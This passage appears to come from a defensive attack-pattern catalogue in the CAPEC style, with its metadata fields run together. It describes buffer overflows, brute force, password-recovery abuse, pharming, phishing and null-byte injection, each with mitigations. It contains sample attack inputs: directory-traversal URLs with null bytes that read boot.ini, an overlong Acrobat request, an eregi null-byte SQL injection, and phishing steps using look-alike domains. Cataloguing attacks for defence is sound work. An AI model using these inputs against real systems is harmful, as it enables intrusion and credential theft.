of a Directive to any Internal ComponentPenetrationExploitationHighHighHighAllAllAJAXCC++PERLPHPRubyVisual BasicOtherThis type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The attacker crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.1- The attacker modifies a tag or variable from a formatted configuration data. For instance she changes it to an oversized string.2- The target program consumes the data modified by the attacker without prior boundary checking. As a consequence, a buffer overflow occurs and at worst remote code execution may follow.The target program consumes user-controllable data in the form of tags or variables.The target program does not perform sufficient boundary checking.HighHighInjectionAttack Example: Overflow Variables and Tags in MidiPlug
A buffer overflow vulnerability exists in the Yamaha MidiPlug that can be accessed via a Text variable found in an EMBED tag.
CVE-1999-0946Attack Example: Overflow Variables and Tags in Exim
A buffer overflow in Exim allows local users to gain root privileges by providing a long :include: option in a .forward file.CVE-1999-0971Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS.
High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.
An attacker can modify the variables and tag exposed by the target program.An attacker can automate the probing by input injection with script or automated tools.Use a language or compiler that performs automatic bounds checking.Use an abstraction library to abstract away risky APIs. Not a complete solution.Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.Use OS-level preventative functionality. Not a complete solution.Do not trust input data from user. Validate all user input.Denial of ServiceRun Arbitrary CodeInformation LeakageData ModificationContent-Based Buffer Overflow
Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it.
Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn.
What’s really interesting from an attacker’s point of view is formatting data file-embedded poison pills in such a way that virus code is activated. A great example of this involved the Winamp program in which an overly long IDv3 tag would cause a buffer overflow. In the header of an MP3 file, there is a location where a normal text string can be placed. This is called the IDv3 tag, and if an overly long tag were to be supplied, Winamp would suffer a buffer overflow. This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp.
The variable or tag exposed to the user.The new value of the variable or tag (could be an oversized string).When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.The most common is remote code execution.120Targeted118Targeted119Targeted74Targeted20Targeted100More Detailed8Similar10SimilarReluctance to trustPenetrationExploitationHighHighHighAllAllAllAllCC++G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer Errors
In this attack, the target software is given input that the attacker knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.
Consider parts of the program where user supplied data may be expanded by the program. Use a disassembler and other reverse engineering tools to guide the search.
Find a place where a buffer overflow occurs due to the fact that the new expanded size of the string is not correctly accounted for by the program. This may happen perhaps when the string is copied to another buffer that is big enough to hold the original, but not the expanded string. This may create an opportunity for planting the payload and redirecting program execution to the shellcode.
Write the buffer overflow exploit. To be exploitable, the "spill over" amount (e.g. the difference between the expanded string length and the original string length before it was expanded) needs to be sufficient to allow the overflow of the stack return pointer (in the case of a stack overflow), without causing a stack corruption that would crash the program before it gets to execute the shellcode. Heap overflow will be more difficult and will require the attacker to get more lucky, by perhaps getting a chance to overwrite some of the accounting information stored as part of using malloc().
The program expands one of the parameters passed to a function with input controlled by the user, but a later function making use of the expanded parameter erroneously considers the original, not the expanded size of the parameter.
The expanded parameter is used in the context where buffer overflow may becomes possible due to the incorrect understanding of the parameter size (i.e. thinking that it is smaller than it really is).
HighMediumInjection
Attack Example: FTP glob()
The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob().
This buffer overflow occurs in memory that is dynamically allocated. It may be possible for attackers to exploit this vulnerability and execute arbitrary code on the affected host.
To exploit this, the attacker must be able to create directories on the target host.
The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote attacker can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the attacker must be able to create directories on the FTP server.
From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
CVE-2001-0249
Buffer overflow in the glob implementation in libc in NetBSD-current before 20050914, and NetBSD 2.* and 3.* before 20061203, as used by the FTP daemon, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.
The limit computation of an internal buffer was done incorrectly. The
size of the buffer in byte was used as element count, even though the
elements of the buffer are 2 bytes long. Long expanded path names would
therefore overflow the buffer.
CVE-2006-6652
High: Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is aribtrary code execution. Not only that the attacker needs to write the shell code to accomplish his or her goals, but the attacker also needs to find a way to get the program execution to jump to the planted shellcode. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled attacker.
Access to the program source or binary. If the program is only available in binary then a disassembler and other reverse engineering tools will be helpful.
Ensure that when parameter expansion happens in the code that the assumptions used to determine the resulting size of the parameter are accurate and that the new size of the parameter is visible to the whole system
Privilege EscalationPrivilege EscalationDenial of ServiceData Modification
The Multiple Operation Problem
Whenever data are manipulated by a function, the function should track exactly what it’s doing to the data. This is straightforward when only one function is “munging” data. But when multiple operations are working on the same data, keeping track of the effects of each operation gets much harder. Incorrect tracking leads to big problems. This is especially true if the operation changes a string somehow.
There are a number of common operations on strings that will change the size of the string. The problem we’re discussing occurs if the code performing the conversion does not resize the buffer that the string lives in.
120Targeted119Targeted118Targeted130Targeted131Targeted74Targeted20Secondary100More DetailedPenetrationExploitationHighHighHighAllAllAllAllCC++G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
This attack relies on client side code to access local files and resources instead of URLs. When the client browser is expecting a URL string, but instead receives a request for a local file, that execution is likely to occur in the browser process space with the browser's authority to local files. The attacker can send the results of this request to the local files out to a site that they control. This attack may be used to steal sensitive authentication data (either local or remote), or to gain system profile information to launch further attacks.
The victim's software must not differentiate between the location and type of reference passed the client software, e.g. browser
HighHighAPI AbuseModification of ResourcesProtocol Manipulation
J2EE applications frequently use .properties files to store configuration information including JDBC connections, LDAP connection strings, proxy information, system passwords and other system metadata that is valuable to attackers looking to probe the system or bypass policy enforcement points. When these files are stored in publicly accessible directories and are allowed to be read by the public user, then an attacker can list the directory identify a .properties file and simply load its contents in the browser listing its contents. A standard Hibernate properties file contains
hibernate.connection.driver_class = org.postgresql.Driver
hibernate.connection.url = jdbc:postgresql://localhost/mydatabase
hibernate.connection.username = username
hibernate.connection.password = password
hibernate.c3p0.min_size=5
hibernate.c3p0.max_size=20
Even if the attacker cannot write this file, there is plenty of information to leverage to gain further access.
Medium → attacker identifies known local files to exploit
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Ensure all configuration files and resource are either removed or protected when promoting code into production.
Design: Use browser technologies that do not allow client side scripting.
Implementation: Perform input validation for all remote content.
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as Javascript in browser
Information LeakageData Modification
“Attack Pattern: Passing Local Filenames to Functions That Expect a URL
Use local filenames with functions that expect to consume a URL. Find interesting connections."
[Hoglund and McGraw 04]
241TargetedExploitationHighHighLowAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
In this attack, the attacker tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password.
A system will be particularly vulnerable to this type of an attack if it does not have a proper enforcement mechanism in place to ensure that passwords selected by users are strong passwords that comply with an adequate password policy.
In practice a pure brute force attack on passwords is rarely used, unless the password is suspected to be weak. Other password cracking methods exist that are far more effective (e.g. dictionary attacks, rainbow tables, etc.).
Determine application's/system's password policyDetermine the password policies of the target application/system. Determine minimum and maximum allowed password lengths.env-AllDetermine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).env-AllDetermine account lockout policy (a strict account lockout policy will prevent brute force attacks).env-AllPasswords are used in the application/systemenv-AllPasswords are not used for authentication; however, brute forcing of other protection mechanisms may also be possible.env-AllBrute force passwordGiven the finite space of possible passwords dictated by the password policy determined in the previous step, try all possible passwords for a known user ID until application/system grants access.Manually or automatically enter all possible passwords through the application/system's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.env-AllPerform an offline dictionary attack or a rainbow table attack against a known password hash.env-AllWeak passwords allowed, and no account lockout policy enforced.env-AllPassword hashes can be captured by attacker.env-AllAccounts locked out after small number of failed authentication attempts.env-AllAttacker determines correct password for a user ID and obtains access to application or system.Attacker is unable to determine correct password for a user ID and obtain access to application or system.Attacker locks out account while attempting to brute force its password.Large number of authentication failures in logs.Enforce strict account lockout policies.Enforce strong passwords (having sufficient length and containing mix of lower case and upper case letters, numbers, and special characters)Deny login attempts from sources that produce too many failed attempts. Note that this may cause problems where many users may have the same "source" as far as the application/system is concerned (e.g. a lot of users behind a NAT device).
An attacker needs to know a username to target.
The system uses password based authentication as the one factor authentication mechanism.
An application does not have a password throttling mechanism in place. A good password throttling mechanism will make it almost impossible computationally to brute force a password as it may either lock out the user after a certain number of incorrect attempts or introduce time out periods. Both of these would make a brute force attack impractical.
HighMediumBrute Force
A system does not enforce a strong password policy and the user picks a five letter password consisting of lower case english letters only. The system does not implement any password throttling mechanism. Assuming the attacker does not know the length of the users' password, an attacker can brute force this password in maximum 1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 = 12,356,631 attempts, and half these tries (6,178,316) on average. Using modern hardware this attack is trivial. If the attacker were to assume that the user password could also contain upper case letters (and it was case sensitive) and/or numbers, than the number of trials would have been larger.
An attacker's job would' have most likely been even easier because many users who choose easy to brute force passwords like this are also likely to use a word that can be found in the dictionary. Since there are far fewer valid english words containing up to five letters than 12,356,631, an attack that tries each of the entries in the english dictionary would go even faster.
A weakness exists in the automatic password generation routine of Mailman prior to 2.1.5 that causes only about five million different passwords to be generated. This makes it easy to brute force the password for all users who decided to let Mailman automatically generate their passwords for them. Users who chose their own passwords during the sign up process would not have been affected (assuming that they chose strong passwords).
CVE-2004-1143
Low: A brute force attack is very straightforward. A variety of password cracking tools are widely available.
A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge).
Many incorrect login attempts are detected by the system.
Try to spoof IP addresses so that it does not look like the incorrect log in attempts are coming from the same computer.
Implement a password throttling mechanism. This mechanism should take into account both the IP address and the log in name of the user.
Put together a strong password policy and make sure that all user created passwords comply with it. Alternatively automatically generate strong passwords for users.
Passwords need to be recycled to prevent aging, that is every once in a while a new password must be chosen.
Privilege Escalation521Targeted262Targeted263Targeted257Targeted16More DetailedOccasionally Precedes70More DetailedOccasionally Precedes55Occasionally FollowsPenetrationHighHighLowAllAllAllAll
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure. Most of them use only one security question . For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user.
These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on "forgot password" and there is a good chance that the security question there will be to provide mother's maden name.
A weak password recovery scheme totally undermines the effectiveness of a strong password scheme.
Understand the password recovery mechanism and how it works.
Find a weakness in the password recovery mechanism and exploit it. For instance, a weakness may be that a standard single security question is used with an easy to determine answer.
The system allows users to recover their passwords and gain access back into the system.
Password recovery mechanism has been designed or implemented insecurely.
Password recovery mechanism relies only on something the user knows and not something the user has.
No third party intervention is required to use the password recovery mechanism.
HighMediumBrute ForceAPI AbuseInjection
An attacker clicks on the "forgot password" and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system.
phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL.
A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over his account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module.
The e-mail address requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression:
if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*
(\.[a-z]{2,3})$", $email)){
A bug in the implementation of eregi() allows to pass additional character using a null byte "\0". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the gular expression. So an e-mail address can be provided that includes the special character " ' " to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible:
$get_info=mysql_query("select * from banneruser where
email='$email' ");
This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database.
Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system.
CVE-2006-3013
Low: Brute force attack
Medium: Social engineering and more sophisticated technical attacks.
For a brute force attack one would need a machine with sufficient CPU, RAM and HD.
Trial and error (brute force).
Social Engineering.
Many incorrect attempts to answer the security question.
Use multiple security questions (e.g. have three and make the user answer two of them correctly). Let the user select their own security questions or provide them with choices of questions that are not generic.
E-mail the temporary password to the registered e-mail address of the user rather than letting the user reset the password online.
Ensure that your password recovery functionality is not vulnerable to an injection style attack.
Privilege Escalation522TargetedPenetrationHighHighLowAllAllAllAll
http://www.redteam-pentesting.de/advisories/rt-sa-2006-005.txt
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to his site rather than the originally intended one.
Pharming does not require script injection or clicking on malicious links for the attack to succeed.
Attacker sets up a system mocking the one trusted by the users. This is usually a website that requires or handles sensitive information.The attacker then poisons the resolver for the targeted site. This is achieved by poisoning the DNS server, or the local hosts file, that directs the user to the original websiteWhen the victim requests the URL for the site, the poisoned records direct the victim to the attacker's system rather than the original one.Because of the identical nature of the original site and the attacker controlled one, and the fact that the URL is still the original one, the victim trusts the website reached and the attacker can now "farm" sensitive information such as credentials or account numbers.Vulnerable DNS software or improperly protected hosts file or router that can be poisonedA website that handles sensitive information but does not use a secure connection and a certificate that is valid is also prone to pharmingVery High HighSpoofingAnalysisModification of ResourcesAn online bank website requires users to provide their customer ID and password to log on, but does not use a secure connection.
An attacker can setup a similar fake site and leverage pharming to collect this information from unknowing victims.Medium: The attacker needs to be able to poison the resolver - DNS entries or local hosts file or router entry pointing to a trusted DNS server - in order to successfully carry out a pharming attack. Setting up a fake website, identical to the targeted one, does not require special skills.Except having enough knowledge of the way the targeted site has been structured in order to create a fake version, no additional resources are required. Poisoning the resolver requires knowledge of a vulnerability that can be exploited.The attacker observes the targeted website for use of secure connection to exchange sensitive information. If it does not use secure connections, victim users cannot distinguish between the original and fake versions of the website.The attacker can also fingerprint the software running on the targeted system (DNS server, router or host) and look for vulnerabilities in order to poison the entries.All sensitive infomation must be handled over a secure connection.Known vulnerabilities in DNS or router software or in operating systems must be patched as soon as a fix has been released and tested.End users must ensure that they provide sensitive information only to websites that they trust, over a secure connection with a valid certificate issued by a well-known certificate authority.Information Leakage
Pharming attacks occur when victims provide sensitive information to websites that do not possess a valid certificate from well-known certificate authorities. As a consequence, the attacker either can employ a certificate from a random authority or can get away without using one.
The use of valid certificates from well-known certificate authorities ensures that the URL hosting the website matches the IP address it is intended to resolve to, and that this fact has been attested to by a well-known authority.
If a mismatch is detected, the browser informs the user that the certificate is not a valid one. Of course, this depends on the user heeding such warnings and this makes such an attack all the more dangerous for users that are not security savvy.
Pharming originates when the DNS software or the local hosts resolution file can be poisoned or the router's trusted DNS server entry served to the clients is modified.
DNS cache poisoning can be avoided by regularly patching the software to keep it up-to-date to guard against vulnerabilities and not accepting DNS updates from anyone other than authenticated sources.
Similarly, the local hosts file and the router entries can be protected by appropriate access control and keeping the relevant software regularly patched.
346Targeted247Targeted292TargetedCVE-2005-0877Dnsmasq before 2.21 allows remote attackers to poison the DNS cache via answers to queries that were not made by Dnsmasq.CVE-2004-1754The DNS proxy (DNSd) for multiple Symantec Gateway Security products allows remote attackers to poison the DNS cache via a malicious DNS server query response that contains authoritative or additional records.Reluctance To TrustPromoting PrivacyUse Authentication Mechanisms, Where Appropriate, CorrectlyUse Well-Known Cryptography Appropriately and CorrectlyReconnaissanceHighHighLowClient-ServerSOAAllAllAll
Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or "fishing" for information.
Obtain domain name and certificate to spoof legitimate siteThis optional step can be used to help the attacker impersonate the legitimate site more convincingly. The attacker can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)env-WebOptionally obtain a legitimate SSL certificate for the new domain name.env-WebWebsites can acquire many domain names that are similar to their own. For example, the company example.com should be sure to register example.net, .org, .biz, .info and so on. Likewise they should register exarnple.com, examp1e.com, exampIe.com (and possibly .net, .org variations). Although this does not preclude the possibility of phishing, it makes the attacker's job harder because all the easily believable names are taken.Explore legitimate website and create duplicate
An attacker creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that he or she is trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.
Use spidering software to get copy of web pages on legitimate site.env-WebManually save copies of required web pages from legitimate site.env-WebCreate new web pages that have the legitimate site's look at feel, but contain completely new content.env-WebConvince user to enter sensitive information on attacker's site.
An attacker sends an e-mail to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to attacker's website) and log in. The key is to get the victim to believe that the e-mail is coming from a legitimate entity with which the victim does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.
Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.env-WebPlace phishing link in post to online forum.env-WebLegitimate user clicks on link supplied by attacker and enters the requested information.Legitimate user realizes that the e-mail is not legitimate, or that the attacker's website is not legitimate, and therefore, does not enter the information requested by the attacker.Monitor server logs for referrers. Phishing websites frequently include links to "terms and conditions" "privacy" and other standard links on the legitimate site. Users' web browsers will generally reveal the phishing site in the Referrer header. Since the URL may not visually stand out compared to the legitimate URL, some programmatic consolidation of referrers from log files may be required to ensure that example.com stands out from examp1e.com, for example.Use stolen credentials to log into legitimate site
Once the attacker captures some sensitive information through phishing (login credentials, credit card information, etc.) the attacker can leverage this information. For instance, the attacker can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.
Log in to the legitimate site using another user's supplied credentialsenv-WebUse a human verifiable shared secret between legitimate site and end user such as the one provided by PassMark Security (now part of RSA Security). This prevents the attacker from using stolen credentials. Note that this does not protect against some man-in-the-middle attacks where an attacker establishes a session with the legitimate site and convinces an end user to establish a session with him. The attacker then records and forwards information flowing between the end user and the trusted site. This security control is currently used by many online banking websites including Bank of America's website.Use an out-of-band user authentication mechanism before allowing particular computers to "register" to use the legitimate site with particular login credentials. This also prevents the attacker from using stolen credentials. An example may be sending a SMS message to the user's cell phone (cell phone number previously acquired by site) with an "activation code" every time the user attempts to log into the site from a new computer. This solution also does not protect against the man-in-the-middle attack described in the previous security control.This mechanism is currently used by several online banking websites including JP Morgan Chase's website.
An attacker needs to have a way to initiate contact with the victim. Typically that will happen through e-mail.
An attacker needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims.
An attacker needs to have a sufficiently compelling call to action to prompt the user to take action.
The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity.
Very HighHighSocial EngineeringSpoofing
John gets an official looking e-mail from his bank stating that his or her account has been temporarily locked due to suspected unauthorized activity and that John needs to click on the link included in the e-mail to log in to his bank account in order to unlock it. The link in the e-mail looks very similar to that of his bank and once the link is clicked, the log in page is the exact replica. John supplies his login credentials after which he is notified that his account has now been unlocked and that everything is fine. An attacker has just collected John's online banking information which can now be used by him or her to log into John's bank account and transfer John's money to a bank account of the attacker's choice.
Medium
Some web development tools to put up a fake website.
You receive an e-mail from an entity that you are not even a customer of prompting you to log into your account.
You receive any e-mail that provides you with a link which takes you to a website on which you need to enter your log in information.
Making the link in the e-mail and the actual website look very legitimate.
Do not follow any links that you receive within your e-mails and certainly do not input any login credentials on the page that they take you too. Instead, call your Bank, Paypal, Ebay, etc., and inquire about the problem. A safe practice would also be to type the URL of your bank in the browser directly and only then log in. Also, never reply to any e-mails that ask you to provide sensitive information of any kind.
Privilege EscalationInformation LeakageData ModificationReconnaissanceHighHighLowClient-ServerSOAAllAllAll
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata (to effect a denial of service), and delete information about service provider interfaces.
WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. The attacker that can rewrite WS-addressing information gains the ability to route service requesters to any service providers, and the ability to route service provider response to any service.
Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol. The basic flow for the attacker consists of either altering the data at rest in the registry or uploading malicious content by spoofing a service provider. The service requester is then redirected to send its requests and/or responses to services the attacker controls.
The attacker must be able to write to resources or redirect access to the service registry.
Very HighHighModification of ResourcesInjectionProtocol Manipulation
Low → to identify and execute against an overprivileged system interface
Capability to directly or indirectly modify registry resources
Design: Enforce principle of least privilege
Design: Harden registry server and file access permissions
Implementation: Implement communications to and from the registry using secure protocols
Run Arbitrary CodeInformation LeakageData Modification
Payload delivered through standard communication protocols, such as UDDI or WS-Addressing.
Command(s) executed directly on service requester, in the case of redirect, or on the service provider, in the case of the additional replto attack.
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
285Targeted74TargetedExploitationHighHighHighSOAAllAllAll
An attacker embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).
Identify a place in the program where user input may be used to escalate privileges by for instance accessing unauthorized file system resources through directory browsing.
An attacker realizes that there is a postfix data that gets in the way of getting to the desired resources
An attacker then ads a postfix NULL terminator to the supplied input in order to "swallow" the postfixed data when the insertion is taking place. With the postfix data that got in the way of the attack gone, the doors are opened for accessing the desired resources.
The program does not properly handle postfix NULL terminators
HighHighInjectionModification of ResourcesAPI Abuse
Directory Browsing
Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to
remove the trailing string /reports, then he can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string.
Different forms of NULL to think about include
PATH%00
PATH[0x00]
PATH[alternate representation of NULL character]
<script></script>%00
Exploitation of a buffer overflow vulnerability in the ActiveX component
packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote
attackers to execute arbitrary code.
The problem specifically exists upon retrieving a link of the following
form:
GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1
Where [long string] is a malicious crafted long string containing
acceptable URI characters. The request must be made to a web server that
truncates the request at the null byte (%00), otherwise an invalid file
name is specified and a "file not found" page will be returned. Example
web servers that truncate the requested URI include Microsoft IIS and
Netscape Enterprise. Though the requested URI is truncated for the
purposes of locating the file the long string is still passed to the
Adobe ActiveX component responsible for rendering the page. This in turn
triggers a buffer overflow within RTLHeapFree() allowing for an attacker
to overwrite an arbitrary word in memory. The responsible instructions
from RTLHeapFree() are shown here:
0x77F83AE5 MOV EAX,[EDI+8]
0x77F83AE8 MOV ECX,[EDI+C]
...
0x77F83AED MOV [ECX],EAX
The register EDI contains a pointer to a user-supplied string. The
attacker therefore has control over both the ECX and EAX registers used
in the shown MOV instruction.
Successful exploitation allows remote attackers to utilize the arbitrary
word overwrite to redirect the flow of control and eventually take
control of the affected system. Code execution will occur under the
context of the user that instantiated the vulnerable version of Adobe
Acrobat.
An attacker does not need to establish a malicious web site as
exploitation can occur by adding malicious content to the end of any
embedded link and referencing any Microsoft IIS or Netscape Enterprise
web server. Clicking on a direct malicious link is also not required as
it may be embedded within an IMAGE tag, an IFRAME or an auto-loading
script.
Successful exploitation requires that a payload be written such that
certain areas of the input are URI acceptable. This includes initial
injected instructions as well as certain overwritten addresses. This
increases the complexity of successful exploitation. While not trivial,
exploitation is definitely plausible [iDefense].
CVE-2004-0629
Consider the following PHP script:
$whatever = addslashes($_REQUEST['whatever']);
include("/path/to/program/" . $whatever . "/header.htm");
A malicious attacker might open the following URL, disclosing the
boot.ini file:
http://localhost/phpscript.php?whatever=../../../../boot.ini%00
Medium: Directory traversal
High: Execution of arbitrary code
Properly handle the NULL characters supplied as part of user input prior to doing anything with the data.
Data ModificationInformation LeakagePrivilege EscalationRun Arbitrary Code158Targeted172Targeted173Targeted171Targeted74Targeted20TargetedReluctance to TrustPenetrationExploitationHighHighHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
iDefense Labs Public Advisory: Adobe Acrobat/Acrobat Reader ActiveX Control Buffer Overflow Vulnerability
Available at: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=126
Bugtraq mailing list archive: PHP Input Validation Vulnerabilities
Available at: http://msgs.securepoint.com/bugtraq/
If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an attacker to embed the NULL midstring while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in midstring may be used.
An attacker first probes to figure out what restrictions on input are placed by filter, such as a specific characters on the end of the URL.
The attacker then injects a string of their choosing with a null terminator (using an alternate encoding such as %00), followed by a backslash (%5C), followed by some additional characters that are required to keep the filter happy
The malicious string then passes through the filter and passed to the underlying API. Everything after the null terminator is ignored. This may give an attacker the opportunity to access file system resources to which they should not have access and do other things.
Some popular forms in which this takes place:
PATH%00%5C
PATH[0x00][0x5C]
PATH[alternate encoding of the NULL][additional characters required to pass filter]
Null terminators are not properly handled by the filter.
HighHighInjection
A rather simple injection is possible in a URL:
http://getAccessHostname/sekbin/
helpwin.gas.bat?mode=&draw=x&file=x&module=&locale=[insert relative path here]
[%00][%5C]&chapter=
This attack has appeared with regularity in the wild. There are many variations of this kind of attack. Spending a short amount of time injecting against Web applications will usually result in a new exploit being discovered.
Medium: An attacker needs to understand alternate encodings, what the filter looks for and the data format acceptable to the target API
Test the program with various inputs and observe the behavior of the filter. Overtime it should be possible to understand what the filter is expecting.
Null characters are observed by the filter. The filter needs to be able to understand various encodings of the Null character, or only canonical data should be passed to it.
Properly handle Null characters. Make sure canonicalization is properly applied. Do not pass Null characters to the underlying APIs.
Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system.
Data ModificationInformation LeakagePrivilege Escalation
The file system of a public server is a busy place. All kinds of data get left around, much like what happens after a busy downtown parade, after which trash is strewn all over the streets. The problem with many servers is that they cannot seem to keep the mess confined. Some simple things can help. Temporary files should be stored in a secure area away from prying eyes. Backup files should not be left sitting out in the open for anyone to snatch up. It’s all really a matter of cleanliness. But let’s face it, software can be very sloppy (perhaps a reflection on the slobs we really are).
A typical server is usually a breeding ground for garbage data. Copies get made and things get left around. Backups and temporary files are left out in the open. Permissions on directories aren’t locked down. As a result, image pirates can just bypass the login to a porn site and directly access competitors’ content. Any location that is left writable ends up as a stash point for illegal software (is your site a warez server?). Have you ever logged in to your UNIX box and discovered 1,400 concurrent downloads of quake3.iso running? Most system administrators have had something like this happen to them at least once.
In general, server software uses the file system extensively. A Web server in particular is always reading or executing files on a system. The more complicated the server, the harder it is to guarantee the security of the file system. There are many Web servers out on the Internet that allow attackers
to read or execute any file on the hard drive! The code between the potential determined attacker and the file system is simply a challenging lock begging to be picked. Once an attacker gains access to your storage, you can bet he will make good use of it.
Let’s explore all the layers between an attacker and the file system. Several basic attack patterns are commonly used, such as simply asking for files and getting them. At the very least, the attacker may need to know something about the structure of the file system, but this is easy because most systems are cookie-cutter images of one another. More advanced tricks can be used to get directory listings and build a map of an unknown file system.
There are two main categories of input-driven attacks: Buffer over-flows are the largest and best hyped attack; inserting data into trusted API calls comes in a close second. This attack pattern involves user-supplied data that trickle through software and get passed as an argument to a file system call. Two basic forms of this attack involve filenames and directory browsing.
Filenames
